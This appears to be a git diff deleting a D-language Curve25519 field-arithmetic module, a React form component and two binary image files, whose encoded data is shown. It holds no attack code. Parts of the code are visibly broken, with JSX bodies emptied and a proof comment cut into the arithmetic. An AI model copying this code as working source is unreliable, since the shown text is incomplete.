+= carry4; h4 -= SHL64(carry4,26); - carry8 = (h8 + cast(long) (1<<25)) >> 26; h9 += carry8; h8 -= SHL64(carry8,26); - - carry9 = (h9 + cast(long) (1<<24)) >> 25; h0 += carry9 * 19; h9 -= SHL64(carry9,25); - - carry0 = (h0 + cast(long) (1<<25)) >> 26; h1 += carry0; h0 -= SHL64(carry0,26); - - fe h; - h[0] = cast(int) h0; - h[1] = cast(int) h1; - h[2] = cast(int) h2; - h[3] = cast(int) h3; - h[4] = cast(int) h4; - h[5] = cast(int) h5; - h[6] = cast(int) h6; - h[7] = cast(int) h7; - h[8] = cast(int) h8; - h[9] = cast(int) h9; - return h; -} - -/** - Returns: h = 2 * f * f - Can overlap h with f. - - Preconditions: - |f| bounded by 1.65*2^26,1.65*2^25,1.65*2^26,1.65*2^25,etc. - - Postconditions: - |h| bounded by 1.01*2^25,1.01*2^24,1.01*2^25,1.01*2^24,etc. - - Note: - See fe_mul.c for discussion of implementation strategy. - */ -private fe fe_sq2(in ref fe f) pure -{ - int f0 = f[0]; - int f1 = f[1]; - int f2 = f[2]; - int f3 = f[3]; - int f4 = f[4]; - int f5 = f[5]; - int f6 = f[6]; - int f7 = f[7]; - int f8 = f[8]; - int f9 = f[9]; - int f0_2 = 2 * f0; - int f1_2 = 2 * f1; - int f2_2 = 2 * f2; - int f3_2 = 2 * f3; - int f4_2 = 2 * f4; - int f5_2 = 2 * f5; - int f6_2 = 2 * f6; - int f7_2 = 2 * f7; - int f5_38 = 38 * f5; /* 1.959375*2^30 */ - int f6_19 = 19 * f6; /* 1.959375*2^30 */ - int f7_38 = 38 * f7; /* 1.959375*2^30 */ - int f8_19 = 19 * f8; /* 1.959375*2^30 */ - int f9_38 = 38 * f9; /* 1.959375*2^30 */ - long f0f0 = f0 * cast(long) f0; - long f0f1_2 = f0_2 * cast(long) f1; - long f0f2_2 = f0_2 * cast(long) f2; - long f0f3_2 = f0_2 * cast(long) f3; - long f0f4_2 = f0_2 * cast(long) f4; - long f0f5_2 = f0_2 * cast(long) f5; - long f0f6_2 = f0_2 * cast(long) f6; - long f0f7_2 = f0_2 * cast(long) f7; - long f0f8_2 = f0_2 * cast(long) f8; - long f0f9_2 = f0_2 * cast(long) f9; - long f1f1_2 = f1_2 * cast(long) f1; - long f1f2_2 = f1_2 * cast(long) f2; - long f1f3_4 = f1_2 * cast(long) f3_2; - long f1f4_2 = f1_2 * cast(long) f4; - long f1f5_4 = f1_2 * cast(long) f5_2; - long f1f6_2 = f1_2 * cast(long) f6; - long f1f7_4 = f1_2 * cast(long) f7_2; - long f1f8_2 = f1_2 * cast(long) f8; - long f1f9_76 = f1_2 * cast(long) f9_38; - long f2f2 = f2 * cast(long) f2; - long f2f3_2 = f2_2 * cast(long) f3; - long f2f4_2 = f2_2 * cast(long) f4; - long f2f5_2 = f2_2 * cast(long) f5; - long f2f6_2 = f2_2 * cast(long) f6; - long f2f7_2 = f2_2 * cast(long) f7; - long f2f8_38 = f2_2 * cast(long) f8_19; - long f2f9_38 = f2 * cast(long) f9_38; - long f3f3_2 = f3_2 * cast(long) f3; - long f3f4_2 = f3_2 * cast(long) f4; - long f3f5_4 = f3_2 * cast(long) f5_2; - long f3f6_2 = f3_2 * cast(long) f6; - long f3f7_76 = f3_2 * cast(long) f7_38; - long f3f8_38 = f3_2 * cast(long) f8_19; - long f3f9_76 = f3_2 * cast(long) f9_38; - long f4f4 = f4 * cast(long) f4; - long f4f5_2 = f4_2 * cast(long) f5; - long f4f6_38 = f4_2 * cast(long) f6_19; - long f4f7_38 = f4 * cast(long) f7_38; - long f4f8_38 = f4_2 * cast(long) f8_19; - long f4f9_38 = f4 * cast(long) f9_38; - long f5f5_38 = f5 * cast(long) f5_38; - long f5f6_38 = f5_2 * cast(long) f6_19; - long f5f7_76 = f5_2 * cast(long) f7_38; - long f5f8_38 = f5_2 * cast(long) f8_19; - long f5f9_76 = f5_2 * cast(long) f9_38; - long f6f6_19 = f6 * cast(long) f6_19; - long f6f7_38 = f6 * cast(long) f7_38; - long f6f8_38 = f6_2 * cast(long) f8_19; - long f6f9_38 = f6 * cast(long) f9_38; - long f7f7_38 = f7 * cast(long) f7_38; - long f7f8_38 = f7_2 * cast(long) f8_19; - long f7f9_76 = f7_2 * cast(long) f9_38; - long f8f8_19 = f8 * cast(long) f8_19; - long f8f9_38 = f8 * cast(long) f9_38; - long f9f9_38 = f9 * cast(long) f9_38; - long h0 = f0f0 +f1f9_76+f2f8_38+f3f7_76+f4f6_38+f5f5_38; - long h1 = f0f1_2+f2f9_38+f3f8_38+f4f7_38+f5f6_38; - long h2 = f0f2_2+f1f1_2 +f3f9_76+f4f8_38+f5f7_76+f6f6_19; - long h3 = f0f3_2+f1f2_2 +f4f9_38+f5f8_38+f6f7_38; - long h4 = f0f4_2+f1f3_4 +f2f2 +f5f9_76+f6f8_38+f7f7_38; - long h5 = f0f5_2+f1f4_2 +f2f3_2 +f6f9_38+f7f8_38; - long h6 = f0f6_2+f1f5_4 +f2f4_2 +f3f3_2 +f7f9_76+f8f8_19; - long h7 = f0f7_2+f1f6_2 +f2f5_2 +f3f4_2 +f8f9_38; - long h8 = f0f8_2+f1f7_4 +f2f6_2 +f3f5_4 +f4f4 +f9f9_38; - long h9 = f0f9_2+f1f8_2 +f2f7_2 +f3f6_2 +f4f5_2; - long carry0; - long carry1; - long carry2; - long carry3; - long carry4; - long carry5; - long carry6; - long carry7; - long carry8; - long carry9; - - h0 += h0; - h1 += h1; - h2 += h2; - h3 += h3; - h4 += h4; - h5 += h5; - h6 += h6; - h7 += h7; - h8 += h8; - h9 += h9; - - carry0 = (h0 + cast(long) (1<<25)) >> 26; h1 += carry0; h0 -= SHL64(carry0,26); - carry4 = (h4 + cast(long) (1<<25)) >> 26; h5 += carry4; h4 -= SHL64(carry4,26); - - carry1 = (h1 + cast(long) (1<<24)) >> 25; h2 += carry1; h1 -= SHL64(carry1,25); - carry5 = (h5 + cast(long) (1<<24)) >> 25; h6 += carry5; h5 -= SHL64(carry5,25); - - carry2 = (h2 + cast(long) (1<<25)) >> 26; h3 += carry2; h2 -= SHL64(carry2,26); - carry6 = (h6 + cast(long) (1<<25)) >> 26; h7 += carry6; h6 -= SHL64(carry6,26); - - carry3 = (h3 + cast(long) (1<<24)) >> 25; h4 += carry3; h3 -= SHL64(carry3,25); - carry7 = (h7 + cast(long) (1<<24)) >> 25; h8 += carry7; h7 -= SHL64(carry7,25); - - carry4 = (h4 + cast(long) (1<<25)) >> 26; h5 += carry4; h4 -= SHL64(carry4,26); - carry8 = (h8 + cast(long) (1<<25)) >> 26; h9 += carry8; h8 -= SHL64(carry8,26); - - carry9 = (h9 + cast(long) (1<<24)) >> 25; h0 += carry9 * 19; h9 -= SHL64(carry9,25); - - carry0 = (h0 + cast(long) (1<<25)) >> 26; h1 += carry0; h0 -= SHL64(carry0,26); - - fe h; - h[0] = cast(int) h0; - h[1] = cast(int) h1; - h[2] = cast(int) h2; - h[3] = cast(int) h3; - h[4] = cast(int) h4; - h[5] = cast(int) h5; - h[6] = cast(int) h6; - h[7] = cast(int) h7; - h[8] = cast(int) h8; - h[9] = cast(int) h9; - return h; -} - -///** -// Returns: h = f - g -// Can overlap h with f or g. -// -// Preconditions: -// |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. -// |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. -// -// Postconditions: -// |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. -// */ -//void fe_sub(ref fe h, in ref fe f, in ref fe g) -//{ -// h[] = f[] - g[]; -//} - - -/** - * - * Params: - * s = 32 byte buffer - * - Preconditions: - |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. - - Write p=2^255-19; q=floor(h/p). - Basic claim: q = floor(2^(-255)(h + 19 2^(-25)h9 + 2^(-1))). - - Proof: - Have |h|<=p so |q|<=1 so |19^2 2^(-255) q|<1/4. - Also have |h-2^230 h9|<2^231 so |19 2^(-255)(h-2^230 h9)|<1/4. - - Write y=2^(-1)-19^2 2^(-255)q-19 2^(-255)(h-2^230 h9). - Then 0> 25; - q = (h0 + q) >> 26; - q = (h1 + q) >> 25; - q = (h2 + q) >> 26; - q = (h3 + q) >> 25; - q = (h4 + q) >> 26; - q = (h5 + q) >> 25; - q = (h6 + q) >> 26; - q = (h7 + q) >> 25; - q = (h8 + q) >> 26; - q = (h9 + q) >> 25; - - /* Goal: Output h-(2^255-19)q, which is between 0 and 2^255-20. */ - h0 += 19 * q; - /* Goal: Output h-2^255 q, which is between 0 and 2^255-20. */ - - carry0 = h0 >> 26; h1 += carry0; h0 -= carry0 << 26; - carry1 = h1 >> 25; h2 += carry1; h1 -= carry1 << 25; - carry2 = h2 >> 26; h3 += carry2; h2 -= carry2 << 26; - carry3 = h3 >> 25; h4 += carry3; h3 -= carry3 << 25; - carry4 = h4 >> 26; h5 += carry4; h4 -= carry4 << 26; - carry5 = h5 >> 25; h6 += carry5; h5 -= carry5 << 25; - carry6 = h6 >> 26; h7 += carry6; h6 -= carry6 << 26; - carry7 = h7 >> 25; h8 += carry7; h7 -= carry7 << 25; - carry8 = h8 >> 26; h9 += carry8; h8 -= carry8 << 26; - carry9 = h9 >> 25; h9 -= carry9 << 25; - /* h10 = carry9 */ - - /* - Goal: Output h0+...+2^255 h10-2^255 q, which is between 0 and 2^255-20. - Have h0+...+2^230 h9 between 0 and 2^255-1; - evidently 2^255 h10-2^255 q = 0. - Goal: Output h0+...+2^230 h9. - */ - - ubyte[32] s; - s[0] = cast(ubyte) (h0 >> 0); - s[1] = cast(ubyte) (h0 >> 8); - s[2] = cast(ubyte) (h0 >> 16); - s[3] = cast(ubyte) (((h0 >> 24) | (h1 << 2))); - s[4] = cast(ubyte) (h1 >> 6); - s[5] = cast(ubyte) (h1 >> 14); - s[6] = cast(ubyte) (((h1 >> 22) | (h2 << 3))); - s[7] = cast(ubyte) (h2 >> 5); - s[8] = cast(ubyte) (h2 >> 13); - s[9] = cast(ubyte) (((h2 >> 21) | (h3 << 5))); - s[10] = cast(ubyte) (h3 >> 3); - s[11] = cast(ubyte) (h3 >> 11); - s[12] = cast(ubyte) (((h3 >> 19) | (h4 << 6))); - s[13] = cast(ubyte) (h4 >> 2); - s[14] = cast(ubyte) (h4 >> 10); - s[15] = cast(ubyte) (h4 >> 18); - s[16] = cast(ubyte) (h5 >> 0); - s[17] = cast(ubyte) (h5 >> 8); - s[18] = cast(ubyte) (h5 >> 16); - s[19] = cast(ubyte) (((h5 >> 24) | (h6 << 1))); - s[20] = cast(ubyte) (h6 >> 7); - s[21] = cast(ubyte) (h6 >> 15); - s[22] = cast(ubyte) (((h6 >> 23) | (h7 << 3))); - s[23] = cast(ubyte) (h7 >> 5); - s[24] = cast(ubyte) (h7 >> 13); - s[25] = cast(ubyte) (((h7 >> 21) | (h8 << 4))); - s[26] = cast(ubyte) (h8 >> 4); - s[27] = cast(ubyte) (h8 >> 12); - s[28] = cast(ubyte) (((h8 >> 20) | (h9 << 6))); - s[29] = cast(ubyte) (h9 >> 2); - s[30] = cast(ubyte) (h9 >> 10); - s[31] = cast(ubyte) (h9 >> 18); - - return s; -} - -/// Conditional swap. -/// Replace (f,g) with (g,f) if b == 1; -/// replace (f,g) with (f,g) if b == 0. -/// Params: -/// b = 0 or 1 -void fe_cswap(ref fe f, ref fe g, in uint b) -in { - assert(b == 0 || b == 1); -} body -{ - // TODO refactor - immutable uint mask = -b; - - assert(mask == 0 || mask == 0xFFFFFFFF); - - f[] ^= mask & g[]; - g[] ^= mask & f[]; - f[] ^= mask & g[]; -} - -unittest { - fe a; - fe b; - a[] = 1; - b[] = 2; - fe A = 1; - fe B = 2; - - fe_cswap(A, B, 0); - assert(A == a); - assert(B == b); - fe_cswap(A, B, 1); - assert(A == b); - assert(B == a); -} \ No newline at end of file diff --git a/form.tsx b/form.tsx deleted file mode 100644 index ace879f..0000000 --- a/form.tsx +++ /dev/null @@ -1,176 +0,0 @@ -import * as React from "react" -import * as LabelPrimitive from "@radix-ui/react-label" -import { Slot } from "@radix-ui/react-slot" -import { - Controller, - ControllerProps, - FieldPath, - FieldValues, - FormProvider, - useFormContext, -} from "react-hook-form" - -import { cn } from "@/lib/utils" -import { Label } from "@/components/ui/label" - -const Form = FormProvider - -type FormFieldContextValue< - TFieldValues extends FieldValues = FieldValues, - TName extends FieldPath = FieldPath -> = { - name: TName -} - -const FormFieldContext = React.createContext( - {} as FormFieldContextValue -) - -const FormField = < - TFieldValues extends FieldValues = FieldValues, - TName extends FieldPath = FieldPath ->({ - ...props -}: ControllerProps) => { - return ( - - - - ) -} - -const useFormField = () => { - const fieldContext = React.useContext(FormFieldContext) - const itemContext = React.useContext(FormItemContext) - const { getFieldState, formState } = useFormContext() - - const fieldState = getFieldState(fieldContext.name, formState) - - if (!fieldContext) { - throw new Error("useFormField should be used within ") - } - - const { id } = itemContext - - return { - id, - name: fieldContext.name, - formItemId: `${id}-form-item`, - formDescriptionId: `${id}-form-item-description`, - formMessageId: `${id}-form-item-message`, - ...fieldState, - } -} - -type FormItemContextValue = { - id: string -} - -const FormItemContext = React.createContext( - {} as FormItemContextValue -) - -const FormItem = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => { - const id = React.useId() - - return ( - -
    - - ) -}) -FormItem.displayName = "FormItem" - -const FormLabel = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => { - const { error, formItemId } = useFormField() - - return ( -
    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 diff --git a/icon.ico b/icon.ico deleted file mode 100644 index 724b26a18cbd846a8b76f9e6b87aaad251ae4e2a36beb4878bd420465ebe68fe..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 210255 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 